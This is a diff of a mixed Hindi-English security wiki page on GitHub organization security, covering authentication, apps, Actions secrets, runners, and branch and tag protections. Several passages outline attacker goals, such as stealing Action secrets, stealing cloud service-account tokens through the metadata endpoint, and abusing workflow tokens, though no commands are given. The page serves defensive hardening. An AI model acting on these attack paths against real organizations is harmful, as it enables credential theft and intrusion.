+आप किसी organization में बनाए गए teams की **सूची** _https://github.com/orgs/\/teams_ में देख सकते हैं। ध्यान दें कि किसी parent team के children teams देखने के लिए आपको प्रत्येक parent team तक पहुँचना होगा।
 
 ### Users
 
-एक संगठन के उपयोगकर्ताओं को _https://github.com/orgs/\/people_ में **सूचीबद्ध** किया जा सकता है।
+Organization के users को **list** किया जा सकता है _https://github.com/orgs/\/people_ में।
 
-प्रत्येक उपयोगकर्ता की जानकारी में आप देख सकते हैं कि **उपयोगकर्ता किस टीम का सदस्य है**, और **उपयोगकर्ता को किन रिपॉजिटरी तक पहुँच है**।
+प्रत्येक user की जानकारी में आप देख सकते हैं कि उपयोगकर्ता किन **teams का सदस्य** है, और किन **repos तक उपयोगकर्ता की पहुँच** है।
 
 ## Github Authentication
 
-Github आपके खाते में प्रमाणित होने और आपके पक्ष में कार्य करने के लिए विभिन्न तरीके प्रदान करता है।
+Github आपके account में authenticate करने और आपकी ओर से actions perform करने के लिए विभिन्न तरीके प्रदान करता है।
 
 ### Web Access
 
-**github.com** पर पहुँचते समय आप अपने **उपयोगकर्ता नाम और पासवर्ड** (और संभावित रूप से **2FA**) का उपयोग करके लॉगिन कर सकते हैं।
+**github.com** पर पहुँचकर आप अपने **username और password** (और संभवतः **2FA**) का उपयोग करके login कर सकते हैं।
 
 ### **SSH Keys**
 
-आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जिससे संबंधित **निजी कुंजी आपके पक्ष में कार्य करने की अनुमति देती है।** [https://github.com/settings/keys](https://github.com/settings/keys)
+आप अपने account को एक या अधिक public keys के साथ configure कर सकते हैं जिससे संबंधित **private key आपकी ओर से actions perform कर सके।** [https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **GPG Keys**
 
-आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएं**। [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) के बारे में अधिक जानें।
+आप इन keys से user को impersonate नहीं कर सकते लेकिन यदि आप इसका उपयोग नहीं करते हैं तो संभव है कि आपको **commits बिना signature के भेजने पर खोजा जा सके**। यहां [vigilant mode](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) के बारे में और जानें।
 
 ### **Personal Access Tokens**
 
-आप व्यक्तिगत पहुँच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुँच** मिल सके। व्यक्तिगत पहुँच टोकन बनाते समय, **उपयोगकर्ता** को **अनुमतियाँ** निर्दिष्ट करने की आवश्यकता होती है जो **टोकन** के पास होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens)
+आप एक application को आपके account तक access देने के लिए personal access token generate कर सकते हैं। Personal access token बनाते समय **user** को यह **निर्दिष्ट** करना होता है कि token के पास कौन-कौन सी **permissions** होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Oauth Applications
 
-Oauth एप्लिकेशन आपसे अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी के एक भाग तक पहुँचने या आपको प्रतिनिधित्व करने** के लिए कुछ कार्य करने के लिए। इस कार्यक्षमता का एक सामान्य उदाहरण **गिटहब के साथ लॉगिन बटन** है जो आप कुछ प्लेटफार्मों पर पा सकते हैं।
+Oauth applications आपसे permissions माँग सकते हैं **आपकी कुछ github जानकारी तक पहुँचने या आपकी नुमाइंदगी करने के लिए** ताकि कुछ actions perform किए जा सकें। इस functionality का सामान्य उदाहरण वह **login with github button** है जो आप कुछ platforms पर पा सकते हैं।
 
-- आप [https://github.com/settings/developers](https://github.com/settings/developers) में अपने स्वयं के **Oauth एप्लिकेशन** **बना सकते हैं**।
-- आप [https://github.com/settings/applications](https://github.com/settings/applications) में अपने खाते तक पहुँच रखने वाले सभी **Oauth एप्लिकेशन** देख सकते हैं।
-- आप [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) में **Oauth Apps के लिए पूछे जाने वाले स्कोप** देख सकते हैं।
-- आप _https://github.com/organizations/\/settings/oauth_application_policy_ में एक **संगठन** में एप्लिकेशनों की तीसरी पार्टी पहुँच देख सकते हैं।
+- आप अपने खुद के **Oauth applications** बना सकते हैं [https://github.com/settings/developers](https://github.com/settings/developers)
+- आप अपनी account तक access रखने वाले सभी **Oauth applications** को देख सकते हैं [https://github.com/settings/applications](https://github.com/settings/applications)
+- आप देख सकते हैं कि **Oauth Apps किन scopes के लिए माँग कर सकते हैं** [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- आप एक **organization** में third party applications की access नीति को _https://github.com/organizations/\/settings/oauth_application_policy_ में देख सकते हैं।
 
-कुछ **सुरक्षा सिफारिशें**:
+कुछ **security recommendations**:
 
-- एक **OAuth App** को हमेशा **GitHub पर सभी GitHub उपयोगकर्ता के रूप में कार्य करना चाहिए** (उदाहरण के लिए, जब उपयोगकर्ता सूचनाएँ प्रदान करते हैं) और केवल निर्दिष्ट स्कोप तक पहुँच के साथ।
-- एक OAuth App को एक पहचान प्रदाता के रूप में उपयोग किया जा सकता है जो प्रमाणित उपयोगकर्ता के लिए "GitHub के साथ लॉगिन" सक्षम करता है।
-- **नहीं** बनाएं एक **OAuth App** यदि आप चाहते हैं कि आपका एप्लिकेशन **एकल रिपॉजिटरी** पर कार्य करे। `repo` OAuth स्कोप के साथ, OAuth Apps **प्रमाणित उपयोगकर्ता के सभी रिपॉजिटरी पर कार्य कर सकते हैं**।
-- **नहीं** बनाएं एक OAuth App यदि आप अपने **टीम या कंपनी** के लिए एक एप्लिकेशन के रूप में कार्य करना चाहते हैं। OAuth Apps एक **एकल उपयोगकर्ता** के रूप में प्रमाणित होते हैं, इसलिए यदि एक व्यक्ति कंपनी के उपयोग के लिए एक OAuth App बनाता है, और फिर वह कंपनी छोड़ देता है, तो कोई और इसके लिए पहुँच नहीं रखेगा।
-- **अधिक** यहाँ [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) में।
+- एक **OAuth App** को हमेशा **authenticated GitHub user के रूप में GitHub भर में act करना चाहिए** (उदाहरण के लिए, user notifications प्रदान करते समय) और केवल निर्दिष्ट scopes तक ही access होना चाहिए।
+- एक OAuth App को authenticated user के लिए "Login with GitHub" सक्षम करके identity provider के रूप में उपयोग किया जा सकता है।
+- **Don't** build an **OAuth App** अगर आप चाहते हैं कि आपका application केवल **single repository** पर act करे। With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
+- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
+- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Github Applications
 
-Github एप्लिकेशन अनुमतियाँ मांग सकते हैं ताकि **आपकी गिटहब जानकारी तक पहुँचने या आपको प्रतिनिधित्व करने** के लिए विशिष्ट कार्यों को विशिष्ट संसाधनों पर किया जा सके। Github Apps में आपको उन रिपॉजिटरी को निर्दिष्ट करना होगा जिन तक एप्लिकेशन की पहुँच होगी।
+Github applications आपकी github जानकारी तक पहुँचने या आपकी नुमाइंदगी करने के लिए permissions माँग सकती हैं ताकि वे specific resources पर specific actions कर सकें। Github Apps में आपको यह निर्दिष्ट करना होता है कि app किन repositories तक access रखेगा।
 
-- GitHub App स्थापित करने के लिए, आपको **संगठन का मालिक या रिपॉजिटरी में व्यवस्थापक अनुमतियाँ** होनी चाहिए।
-- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से **जोड़ना चाहिए**।
-- आप [https://github.com/settings/apps](https://github.com/settings/apps) में अपना स्वयं का Github एप्लिकेशन बना सकते हैं।
-- आप [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) में अपने खाते तक पहुँच रखने वाले सभी **Github एप्लिकेशन** देख सकते हैं।
-- ये हैं **Github एप्लिकेशनों के लिए API Endpoints** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)। एप्लिकेशन की अनुमतियों के आधार पर, यह उनमें से कुछ तक पहुँच प्राप्त कर सकेगा।
-- आप _https://github.com/organizations/\/settings/installations_ में एक **संगठन** में स्थापित एप्लिकेशन देख सकते हैं।
+- किसी GitHub App को install करने के लिए, आपको **organisation owner** होना चाहिए या किसी repository में **admin permissions** होने चाहिए।
+- GitHub App को एक **personal account या एक organisation से connect** होना चाहिए।
+- आप अपना Github application बना सकते हैं [https://github.com/settings/apps](https://github.com/settings/apps)
+- आप अपनी account तक access रखने वाले सभी **Github applications** को देख सकते हैं [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- ये हैं **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). App की permissions के आधार पर यह कुछ endpoints तक पहुँच सकेगा।
+- आप एक **organization** में installed apps को _https://github.com/organizations/\/settings/installations_ में देख सकते हैं।
 
-कुछ सुरक्षा सिफारिशें:
+कुछ security recommendations:
 
-- एक GitHub App को **उपयोगकर्ता से स्वतंत्र कार्य करना चाहिए** (जब तक एप्लिकेशन [उपयोगकर्ता-से-सर्वर](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) टोकन का उपयोग नहीं कर रहा है)। उपयोगकर्ता-से-सर्वर पहुँच टोकनों को अधिक सुरक्षित रखने के लिए, आप ऐसे पहुँच टोकन का उपयोग कर सकते हैं जो 8 घंटे बाद समाप्त हो जाएंगे, और एक रिफ्रेश टोकन जो नए पहुँच टोकन के लिए बदला जा सकता है। अधिक जानकारी के लिए, "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" देखें।
-- सुनिश्चित करें कि GitHub App **विशिष्ट रिपॉजिटरी** के साथ एकीकृत है।
-- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से **जोड़ना चाहिए**।
-- GitHub App से यह उम्मीद न करें कि वह सब कुछ जानता है और वह सब कुछ कर सकता है जो एक उपयोगकर्ता कर सकता है।
-- **यदि आपको केवल "GitHub के साथ लॉगिन" सेवा की आवश्यकता है तो GitHub App का उपयोग न करें**। लेकिन एक GitHub App एक [उपयोगकर्ता पहचान प्रवाह](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) का उपयोग करके उपयोगकर्ताओं को लॉगिन कर सकता है _और_ अन्य चीजें कर सकता है।
-- यदि आप अपने एप्लिकेशन का उपयोग GitHub Actions के साथ कर रहे हैं और कार्यप्रवाह फ़ाइलों को संशोधित करना चाहते हैं, तो आपको उपयोगकर्ता की ओर से OAuth टोकन के साथ प्रमाणित होना चाहिए जिसमें `workflow` स्कोप शामिल है। उपयोगकर्ता को उस रिपॉजिटरी पर व्यवस्थापक या लिखने की अनुमति होनी चाहिए जिसमें कार्यप्रवाह फ़ाइल है। अधिक जानकारी के लिए, "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" देखें।
-- **अधिक** यहाँ [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) में।
+- एक GitHub App को **user से स्वतंत्र रूप से actions लेने चाहिए** (जब तक कि app [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token का उपयोग न कर रहा हो)। user-to-server access tokens को अधिक सुरक्षित रखने के लिए, आप ऐसे access tokens का उपयोग कर सकते हैं जो 8 घंटे के बाद expire हो जाते हैं, और एक refresh token जो नए access token के लिए एक्सचेंज किया जा सकता है। अधिक जानकारी के लिए देखें, "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- सुनिश्चित करें कि GitHub App **specific repositories** के साथ integrate हो।
+- GitHub App को एक **personal account या एक organisation से connect** होना चाहिए।
+- GitHub App से यह उम्मीद न रखें कि वह एक user की सभी क्षमताओं को जानता या कर सकता है।
+- **Don't use a GitHub App if you just need a "Login with GitHub" service**. लेकिन एक GitHub App उपयोग कर सकता है एक [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) को log users in करने के लिए _और_ अन्य चीजें करने के लिए।
+- GitHub App न बनाएं अगर आप _केवल_ एक GitHub user की तरह act करना चाहते हैं और वही सब कुछ करना चाहते हैं जो वह user कर सकता है।
+- यदि आप अपने app को GitHub Actions के साथ उपयोग कर रहे हैं और workflow files संशोधित करना चाहते हैं, तो आपको user की ओर से authenticate करना होगा एक OAuth token के साथ जिसमें `workflow` scope शामिल हो। user के पास उस repository पर admin या write permission होना चाहिए जिसमें workflow file स्थित है। अधिक जानकारी के लिए देखें, "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-यह **गिटहब में प्रमाणित होने का एक तरीका नहीं है**, लेकिन एक **दुर्भावनापूर्ण** GitHub Action **गिटहब तक अनधिकृत पहुँच प्राप्त कर सकता है** और **अनुमतियों** के आधार पर जो Action को दी गई हैं, कई **विभिन्न हमले** किए जा सकते हैं। अधिक जानकारी के लिए नीचे देखें।
+यह **github में authenticate करने का तरीका नहीं है**, पर एक **malicious** Github Action को github तक **unauthorised access** मिल सकता है और Action को दिए गए **privileges** के आधार पर कई **different attacks** किए जा सकते हैं। नीचे अधिक जानकारी देखें।
 
 ## Git Actions
 
-Git actions को **जब कोई घटना होती है तब कोड के निष्पादन को स्वचालित** करने की अनुमति देता है। आमतौर पर निष्पादित कोड **रिपॉजिटरी के कोड से किसी न किसी तरह संबंधित होता है** (शायद एक डॉकर कंटेनर बनाना या यह जांचना कि PR में कोई रहस्य नहीं है)।
+Git actions आपको अनुमति देता है कि जब कोई event होता है तो **कोड के execution को automate किया जाए**। आमतौर पर executed कोड **repository के कोड से somehow संबंधित** होता है (शायद docker container बनाना या यह जांचना कि PR में secrets तो नहीं हैं)।
 
 ### Configuration
 
-_https://github.com/organizations/\/settings/actions_ में आप संगठन के लिए **गिटहब क्रियाओं की कॉन्फ़िगरेशन** की जांच कर सकते हैं।
+_in_ https://github.com/organizations/\/settings/actions_ आप organization के लिए **github actions की configuration** देख सकते हैं।
 
-गिटहब क्रियाओं के उपयोग को पूरी तरह से अस्वीकार करना, **सभी गिटहब क्रियाओं की अनुमति देना**, या केवल कुछ क्रियाओं की अनुमति देना संभव है।
+आप github actions के उपयोग को पूरी तरह disallow कर सकते हैं, **सभी github actions allow कर सकते हैं**, या केवल कुछ specific actions को ही allow कर सकते हैं।
 
-यह भी संभव है कि **किसे GitHub Action चलाने के लिए अनुमोदन की आवश्यकता है** और जब GitHub Action चलाया जाता है तो **GITHUB_TOKEN** की अनुमतियाँ कॉन्फ़िगर की जा सकें।
+यह भी संभव है कि यह configure किया जा सके कि **किसे Github Action चलाने के लिए approval की आवश्यकता है** और Github Action के चलने पर GITHUB_TOKEN की **permissions** क्या होंगी।
 
 ### Git Secrets
 
-Github Action आमतौर पर गिटहब या तीसरे पक्ष के एप्लिकेशनों के साथ बातचीत करने के लिए कुछ प्रकार के रहस्यों की आवश्यकता होती है। **उन्हें स्पष्ट पाठ में रखने से बचने के लिए**, गिटहब उन्हें **Secrets** के रूप में रखने की अनुमति देता है।
+Github Action को आमतौर पर github या third party applications के साथ interact करने के लिए किसी प्रकार के secrets की आवश्यकता होती है। इन्हें repo में clear-text में रखने से बचने के लिए, github उन्हें **Secrets** के रूप में रखने की अनुमति देता है।
 
-ये रहस्य **रिपॉजिटरी या सभी संगठन** के लिए कॉन्फ़िगर किए जा सकते हैं। फिर, **Action को रहस्य तक पहुँच प्राप्त करने के लिए** आपको इसे इस तरह घोषित करना होगा:
+ये secrets **repo के लिए या पूरे organization के लिए** configure किए जा सकते हैं। फिर, ताकि **Action secret तक access कर सके** आपको इसे इस तरह declare करना होगा:
 ```yaml
 steps:
 - name: Hello world action
@@ -167,75 +168,90 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **केवल उन Github Actions से एक्सेस किए जा सकते हैं** जिनमें उन्हें घोषित किया गया है।
+> Secrets **केवल उन Github Actions से ही एक्सेस किए जा सकते हैं** जिनमें उन्हें declared किया गया हो।
 
-> एक बार जब उन्हें रिपॉजिटरी या संगठनों में कॉन्फ़िगर किया जाता है, तो **github के उपयोगकर्ता उन्हें फिर से एक्सेस नहीं कर पाएंगे**, वे केवल **उन्हें बदलने** में सक्षम होंगे।
+> एक बार repo या organizations में configure करने के बाद **github के users उन्हें फिर कभी एक्सेस नहीं कर पाएँगे**, वे सिर्फ़ उन्हें **बदल सकते हैं**।
 
-इसलिए, **github secrets चुराने का एकमात्र तरीका है उस मशीन तक पहुंच प्राप्त करना जो Github Action को निष्पादित कर रही है** (उस परिदृश्य में आप केवल Action के लिए घोषित किए गए secrets तक पहुंच प्राप्त कर पाएंगे)।
+Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
 
 ### Git Environments
 
-Github **पर्यावरण** बनाने की अनुमति देता है जहाँ आप **secrets** सहेज सकते हैं। फिर, आप कुछ इस तरह से वातावरण के अंदर secrets तक github action को एक्सेस देने के लिए कह सकते हैं:
+Github आपको **environments** बनाने की अनुमति देता है जहाँ आप **secrets** सहेज सकते हैं। फिर, आप किसी environment के अंदर के secrets तक github action को access दे सकते हैं, उदाहरण के लिए:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-आप एक वातावरण को **सभी शाखाओं** (डिफ़ॉल्ट), **केवल संरक्षित** शाखाओं या **निर्धारित** करने के लिए कॉन्फ़िगर कर सकते हैं कि कौन सी शाखाएँ इसे एक्सेस कर सकती हैं।\
-यह एक **क्रिया** को **निष्पादित** करने से पहले **आवश्यक समीक्षाओं की संख्या** भी सेट कर सकता है या **तैनाती** को आगे बढ़ाने से पहले कुछ **समय** तक **रुक** सकता है।
+You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
+Additionally, environment protections include:
+- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
+- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
+- **Wait timer**: delay deployments for a configurable period.
 
+It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
 ### Git Action Runner
 
-एक Github Action को **github वातावरण के अंदर निष्पादित** किया जा सकता है या इसे उपयोगकर्ता द्वारा कॉन्फ़िगर की गई **तीसरी पार्टी अवसंरचना** में निष्पादित किया जा सकता है।
+A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
 
-कई संगठन Github Actions को **तीसरी पार्टी अवसंरचना** में चलाने की अनुमति देंगे क्योंकि यह आमतौर पर **सस्ता** होता है।
+Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
 
-आप _https://github.com/organizations/\/settings/actions/runners_ में एक संगठन के **स्व-होस्टेड रनर्स** की सूची देख सकते हैं।
+You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
 
-यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में `runs-on: self-hosted` के लिए खोजें।
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
 
-यह **संभव नहीं है कि एक संगठन का Github Action एक अलग संगठन के स्व-होस्टेड बॉक्स के अंदर चलाया जाए** क्योंकि **रनर के लिए एक अद्वितीय टोकन उत्पन्न होता है** जब इसे कॉन्फ़िगर किया जाता है ताकि यह पता चल सके कि रनर किसका है।
+It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
 
-यदि कस्टम **Github Runner को AWS या GCP के अंदर एक मशीन में कॉन्फ़िगर किया गया है** उदाहरण के लिए, तो Action **मेटाडेटा एंडपॉइंट तक पहुँच** प्राप्त कर सकता है और **सेवा खाते के टोकन को चुरा सकता है** जिसके साथ मशीन चल रही है।
+If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
 
 ### Git Action Compromise
 
-यदि सभी क्रियाएँ (या एक दुर्भावनापूर्ण क्रिया) की अनुमति है, तो एक उपयोगकर्ता एक **Github action** का उपयोग कर सकता है जो **दुर्भावनापूर्ण** है और **कंटेनर** को **समझौता** करेगा जहाँ इसे निष्पादित किया जा रहा है।
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
 
 > [!CAUTION]
-> एक **दुर्भावनापूर्ण Github Action** चलाया जा सकता है जिसे हमलावर द्वारा **दुरुपयोग** किया जा सकता है:
+> A **malicious Github Action** run could be **abused** by the attacker to:
 >
-> - **सभी रहस्यों को चुराना** जिन तक Action की पहुँच है
-> - यदि Action को **तीसरी पार्टी अवसंरचना** के अंदर निष्पादित किया जाता है तो **पार्श्व में स्थानांतरित करना** जहाँ SA टोकन का उपयोग मशीन को चलाने के लिए किया जा सकता है (संभवतः मेटाडेटा सेवा के माध्यम से)
-> - **टोकन का दुरुपयोग** करना जिसका उपयोग **कार्यप्रवाह** द्वारा **कोड को चुराने** के लिए किया जाता है जहाँ Action निष्पादित होता है या **यहाँ तक कि इसे संशोधित करना**।
+> - **Steal all the secrets** the Action has access to
+> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
 
-## Branch Protections
+## शाखा सुरक्षा (Branch Protections)
 
-शाखा सुरक्षा को **एक भंडार का पूर्ण नियंत्रण** उपयोगकर्ताओं को न देने के लिए डिज़ाइन किया गया है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने से पहले कई सुरक्षा विधियाँ लगाई जाएँ**।
+Branch protections का मकसद repository का पूरा नियंत्रण users को न देना है। लक्ष्य यह है कि किसी branch के अंदर कोड लिखने से पहले कई सुरक्षा उपाय लागू हों।
 
-**एक भंडार की शाखा सुरक्षा** को _https://github.com/\/\/settings/branches_ में पाया जा सकता है।
+किसी repository की **branch protections** इस लिंक पर मिल सकती हैं: _https://github.com/\/\/settings/branches_
 
 > [!NOTE]
-> यह **संभव नहीं है कि संगठन स्तर पर शाखा सुरक्षा सेट की जाए**। इसलिए सभी को प्रत्येक भंडार पर घोषित किया जाना चाहिए।
+> यह **संभव नहीं है कि branch protection organization स्तर पर सेट किया जाए**। इसलिए इन्हें हर repo पर अलग से घोषित करना होगा।
 
-एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर):
+एक branch (जैसे master) पर अलग‑अलग protections लागू किए जा सकते हैं:
 
-- आप **मर्ज करने से पहले एक PR की आवश्यकता** कर सकते हैं (इसलिए आप सीधे शाखा पर कोड मर्ज नहीं कर सकते)। यदि यह चयनित है तो विभिन्न अन्य सुरक्षा लागू की जा सकती हैं:
-- **अनुमोदनों की संख्या की आवश्यकता**। यह बहुत सामान्य है कि 1 या 2 और लोगों को आपके PR को अनुमोदित करने की आवश्यकता होती है ताकि एकल उपयोगकर्ता सीधे कोड मर्ज करने में सक्षम न हो।
-- **नए कमिट्स धकेलने पर अनुमोदनों को अस्वीकार करें**। यदि नहीं, तो एक उपयोगकर्ता वैध कोड को अनुमोदित कर सकता है और फिर उपयोगकर्ता दुर्भावनापूर्ण कोड जोड़ सकता है और इसे मर्ज कर सकता है।
-- **कोड मालिकों से समीक्षाओं की आवश्यकता**। भंडार के कम से कम 1 कोड मालिक को PR को अनुमोदित करने की आवश्यकता है (ताकि "यादृच्छिक" उपयोगकर्ता इसे अनुमोदित न कर सकें)
-- **पुल अनुरोध समीक्षाओं को अस्वीकार करने के लिए किसे प्रतिबंधित करें।** आप उन लोगों या टीमों को निर्दिष्ट कर सकते हैं जिन्हें पुल अनुरोध समीक्षाओं को अस्वीकार करने की अनुमति है।
-- **निर्धारित अभिनेताओं को पुल अनुरोध आवश्यकताओं को बायपास करने की अनुमति दें**। ये उपयोगकर्ता पिछले प्रतिबंधों को बायपास करने में सक्षम होंगे।
-- **मर्ज करने से पहले स्थिति जांचों को पास करने की आवश्यकता।** कुछ जांचों को कमिट को मर्ज करने से पहले पास करना आवश्यक है (जैसे एक github action यह जांचता है कि कोई स्पष्ट रहस्य नहीं है)।
-- **मर्ज करने से पहले बातचीत के समाधान की आवश्यकता**। कोड पर सभी टिप्पणियों को PR को मर्ज करने से पहले हल किया जाना चाहिए।
-- **हस्ताक्षरित कमिट्स की आवश्यकता**। कमिट्स को हस्ताक्षरित होना चाहिए।
-- **रेखीय इतिहास की आवश्यकता।** मेल खाने वाली शाखाओं में मर्ज कमिट्स को धकेलने से रोकें।
-- **व्यवस्थापकों को शामिल करें**। यदि यह सेट नहीं है, तो व्यवस्थापक प्रतिबंधों को बायपास कर सकते हैं।
-- **मेल खाने वाली शाखाओं पर धकेलने के लिए किसे प्रतिबंधित करें**। यह निर्धारित करें कि कौन PR भेज सकता है।
+- आप **merging से पहले PR को आवश्यक** कर सकते हैं (ताकि आप सीधे branch पर कोड merge न कर सकें)। यदि यह चुना गया है तो अन्य कई protections लागू हो सकते हैं:
+- **एक निश्चित संख्या में approvals की आवश्यकता**। आमतौर पर 1 या 2 दूसरे लोगों की approval माँगी जाती है ताकि एक ही उपयोगकर्ता सीधे merge न कर सके।
+- **नए commits push होने पर approvals को dismiss करना**। यदि ऐसा नहीं किया गया तो कोई उपयोगकर्ता पहले legit code approve कर सकता है और बाद में malicious code जोड़कर merge कर सकता है।
+- **Require approval of the most recent reviewable push**. यह सुनिश्चित करता है कि approval के बाद किसी भी नए commit (अन्य collaborators द्वारा किए गए pushes सहित) पर फिर से review ट्रिगर हो, ताकि कोई attacker post‑approval changes push कर के merge न कर पाए।
+- **Code Owners से reviews की आवश्यकता**। PR को approve करने के लिए repo के कम से कम 1 code owner की approval आवश्यक होती है (ताकि "random" users approve न कर सकें)।
+- **Restrict who can dismiss pull request reviews.** आप उन लोगों या टीमों को specify कर सकते हैं जिन्हें pull request reviews dismiss करने की अनुमति है।
+- **Allow specified actors to bypass pull request requirements**. ये users पहले वाली restrictions को bypass कर पाएंगे।
+- **Require status checks to pass before merging.** कुछ checks commit merge करने से पहले पास होने चाहिए (जैसे एक GitHub App जो SAST results रिपोर्ट करता है)। Tip: required checks को किसी specific GitHub App से bind करें; नहीं तो कोई भी app Checks API के जरिए check को spoof कर सकता है, और कई bots skip directives (उदा., "@bot-name skip") स्वीकार करते हैं।
+- **Require conversation resolution before merging**. PR merge होने से पहले code पर सभी comments resolve होने चाहिए।
+- **Require signed commits**. Commits को signed होना चाहिए।
+- **Require linear history.** Matching branches पर merge commits push होने से रोकता है।
+- **Include administrators**. यदि यह सेट नहीं किया गया तो admins restrictions bypass कर सकते हैं।
+- **Restrict who can push to matching branches**. यह नियंत्रित करता है कि कौन PR भेज सकता है।
 
 > [!NOTE]
-> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **भंडार सुरक्षा कर सकते हैं जिससे आप उदाहरण के लिए मास्टर पर कोड धकेलने से रोक सकते हैं** ताकि CI/CD पाइपलाइन को समझौता न किया जा सके।
+> जैसा कि आप देख सकते हैं, भले ही आप किसी user के credentials हासिल कर लें, **repos protected हो सकते हैं जिससे आप master पर कोड push कर के CI/CD pipeline को compromise नहीं कर पाएँगे**।
+
+## Tag Protections
+
+Tags (जैसे latest, stable) default रूप से mutable होते हैं। Tag updates पर four‑eyes flow लागू करने के लिए tags को protect करें और protections को environments और branches के माध्यम से chain करें:
+
+1) Tag protection rule पर **Require deployments to succeed** सक्षम करें और protected environment (उदा., prod) में successful deployment की आवश्यकता रखें।
+2) Target environment में **Deployment branches and tags** को release branch (उदा., main) तक restrict करें और optionally **Required reviewers** को **Prevent self-review** के साथ configure करें।
+3) Release branch पर branch protections configure करें ताकि **Require a pull request** हो, approvals ≥ 1 सेट करें, और दोनों **Dismiss approvals when new commits are pushed** और **Require approval of the most recent reviewable push** को सक्षम करें।
+
+यह chain किसी single collaborator को retag या force‑publish release करने से रोकती है सिर्फ workflow YAML edit करके, क्योंकि deployment gates workflows के बाहर enforce होते हैं।
 
 ## References
 
@@ -244,5 +260,10 @@ environment: env_name
 - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
